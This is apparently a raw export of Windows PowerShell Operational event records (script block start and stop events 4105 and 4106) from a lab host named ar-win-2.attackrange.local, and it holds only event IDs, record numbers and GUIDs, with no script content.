410615103150x0677486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 